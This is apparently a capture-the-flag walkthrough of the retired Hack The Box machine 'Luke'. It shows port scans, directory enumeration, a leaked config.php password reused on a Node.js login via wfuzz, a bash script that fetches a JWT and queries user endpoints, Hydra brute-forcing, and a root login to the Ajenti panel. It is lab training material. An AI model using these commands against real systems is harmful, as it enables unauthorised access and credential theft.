This post documents the complete walkthrough of Luke, a retired vulnerable VM created by H4d3s, and hosted at Hack The Box. If you are uncomfortable with spoilers, please stop reading now.

On this post

Background

Luke is a retired vulnerable VM from Hack The Box.

Information Gathering

Let’s start with a masscan probe to establish the open ports in the host.

# masscan -e tun0 -p1-65535,U:1-65535 10.10.10.137 --rate=1000 Starting masscan 1.0.4 (http://bit.ly/14GZzcT) at 2019-06-01 08:59:38 GMT -- forced options: -sS -Pn -n --randomize-hosts -v --send-eth Initiating SYN Stealth Scan Scanning 1 hosts [131070 ports/host] Discovered open port 8000/tcp on 10.10.10.137 Discovered open port 3000/tcp on 10.10.10.137 Discovered open port 22/tcp on 10.10.10.137 Discovered open port 21/tcp on 10.10.10.137 Discovered open port 80/tcp on 10.10.10.137

masscan finds several open ports. Let’s do one better with nmap scanning the discovered ports to establish the services.

# nmap -n -v -Pn -p21,22,80,3000,8000 -A --reason -oN nmap.txt 10.10.10.137 ... PORT STATE SERVICE REASON VERSION 21/tcp open ftp syn-ack ttl 63 vsftpd 3.0.3+ (ext.1) | ftp-anon: Anonymous FTP login allowed (FTP code 230) |_drwxr-xr-x 2 0 0 512 Apr 14 12:35 webapp | ftp-syst: | STAT: | FTP server status: | Connected to 10.10.14.174 | Logged in as ftp | TYPE: ASCII | No session upload bandwidth limit | No session download bandwidth limit | Session timeout in seconds is 300 | Control connection is plain text | Data connections will be plain text | At session startup, client count was 4 | vsFTPd 3.0.3+ (ext.1) - secure, fast, stable |_End of status 22/tcp open ssh? syn-ack ttl 63 80/tcp open http syn-ack ttl 63 Apache httpd 2.4.38 ((FreeBSD) PHP/7.3.3) | http-methods: | Supported Methods: GET POST OPTIONS HEAD TRACE |_ Potentially risky methods: TRACE |_http-server-header: Apache/2.4.38 (FreeBSD) PHP/7.3.3 |_http-title: Luke 3000/tcp open http syn-ack ttl 63 Node.js Express framework | http-methods: |_ Supported Methods: GET HEAD POST OPTIONS |_http-title: Site doesn't have a title (application/json; charset=utf-8). 8000/tcp open http syn-ack ttl 63 Ajenti http control panel | http-methods: |_ Supported Methods: GET HEAD POST OPTIONS |_http-title: Ajenti

It appears to be a FreeBSD box. Interesting. There’s anonymous FTP, along with Node.js Express Framework ( 3000/tcp ), Apache HTTP Server ( 80/tcp ) and Ajenti Server Admin Panel ( 8000/tcp ).

Anonymous FTP

There’s only one directory webapp and one file for_Chihiro.txt . Here’s what the file says. Not too sure what it means though for now.

Dear Chihiro !! As you told me that you wanted to learn Web Development and Frontend, I can give you a little push by showing the sources of the actual website I've created . Normally you should know where to look but hurry up because I will delete them soon because of our security policies ! Derry

HTTP Service

Here’s how the http service looks like.

Directory/File Enumeration

Let’s check the site out with dirbuster .

Dir found: / - 200 Dir found: /css/ - 200 Dir found: /js/ - 200 Dir found: /management/ - 401 Dir found: /member/ - 200 Dir found: /vendor/ - 200 Dir found: /vendor/bootstrap/ - 200 Dir found: /vendor/bootstrap/css/ - 200 Dir found: /vendor/bootstrap/js/ - 200 Dir found: /vendor/jquery/ - 200 Dir found: /vendor/jquery-easing/ - 200 File found: /config.php - 200 File found: /css/bootstrap.min.css - 200 File found: /css/scrolling-nav.css - 200 File found: /css/signin.css - 200 File found: /js/scrolling-nav.js - 200 File found: /login.php - 200

login.php and config.php sure look interesting.

login.php

config.php

Not too shabby. We got credentials ( root:Zk6heYCyv6ZE9Xcg ) for the database. We also got a directory /management protected by Basic authentication.

Node.js Express Framework

There’s Node.js Express Framework at 3000/tcp .

There are two interesting endpoints: login and users , found through directory enumeration.

login

users

Now that we got Zk6heYCyv6ZE9Xcg as password, let’s use wfuzz as a cracker of sorts and see if we can proceed further with 3000/tcp .

# wfuzz -w users.txt -d '{"username":"FUZZ","password":"Zk6heYCyv6ZE9Xcg"}' -H "Content-Type: application/json" http://luke:3000/login ******************************************************** * Wfuzz 2.2.1 - The Web Fuzzer * ******************************************************** Target: HTTP://luke:3000/login Total requests: 8 ================================================================== ID Response Lines Word Chars Request ================================================================== 00007: C=403 0 L 1 W 9 Ch "administrator" 00008: C=403 0 L 1 W 9 Ch "root" 00001: C=403 0 L 1 W 9 Ch "chihiro" 00002: C=403 0 L 1 W 9 Ch "Chihiro" 00003: C=403 0 L 1 W 9 Ch "derry" 00004: C=403 0 L 1 W 9 Ch "Derry" 00005: C=200 0 L 2 W 219 Ch "admin" 00006: C=403 0 L 1 W 9 Ch "guest" Total time: 0.612439 Processed Requests: 8 Filtered Requests: 0 Requests/sec.: 13.06250

Awesome. We have a hit with admin as the username.

# curl -i -d '{"username":"admin","password":"Zk6heYCyv6ZE9Xcg"}' -H "Content-Type: application/json" http://luke:3000/login HTTP/1.1 200 OK X-Powered-By: Express Content-Type: application/json; charset=utf-8 Content-Length: 219 ETag: W/"db-1BiQjPHn0LbIIGnMLSY47tA3+6c" Date: Sun, 02 Jun 2019 09:05:54 GMT Connection: keep-alive {"success":true,"message":"Authentication successful!","token":"eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VybmFtZSI6ImFkbWluIiwiaWF0IjoxNTU5NDY2MzU0LCJleHAiOjE1NTk1NTI3NTR9.VKf4PAy6kRXwCYUVUoat4Heq0FRlcG3Bw2_oiL_067A"}

Looks like JWT has something to do with it. Armed with this insight, I wrote a simple bash script to test the endpoints.

test.sh

#!/bin/bash USER = admin PASS = Zk6heYCyv6ZE9Xcg HOST = luke PORT = 3000 WHAT = $1 TOKEN = $( curl -s \ -d "{ \" username \" : \" $USER \" , \" password \" : \" $PASS \" }" \ -H "Content-Type: application/json" \ http:// $HOST : $PORT /login \ | jq . \ | grep token \ | cut -d ':' -f2 \ | tr -d ' "' ) curl -s \ -H "Authorization: Bearer $TOKEN " \ "http:// $HOST : $PORT / $WHAT " \ | jq .

Running test.sh without argument yields a welcome message.

Running test.sh with users yields the users and their roles.

Taking it up a notch reveals some very interesting results.

./test.sh users/admin

./test.sh users/derry

./test.sh users/yuri

./test.sh users/dory

Let’s consolidate these usersnames and passwords, and feed them to Hydra just to see what gives.

Damn. That was easy. Let’s check it out.

Well well, what have we here?

Looks like we have the root password to the Ajenti Control Panel.

Ajenti Server Admin Panel

Last but not least, it appears that we have an Ajenti installation at 8000/tcp as well.

Time to check out those Ajenti credentials we got earlier on!

Boom. We are in the endgame now.

Privilege Escalation

We can easily open a terminal as root to capture both user.txt and root.txt .

user.txt

root.txt

Easy peasy lemon squeezy.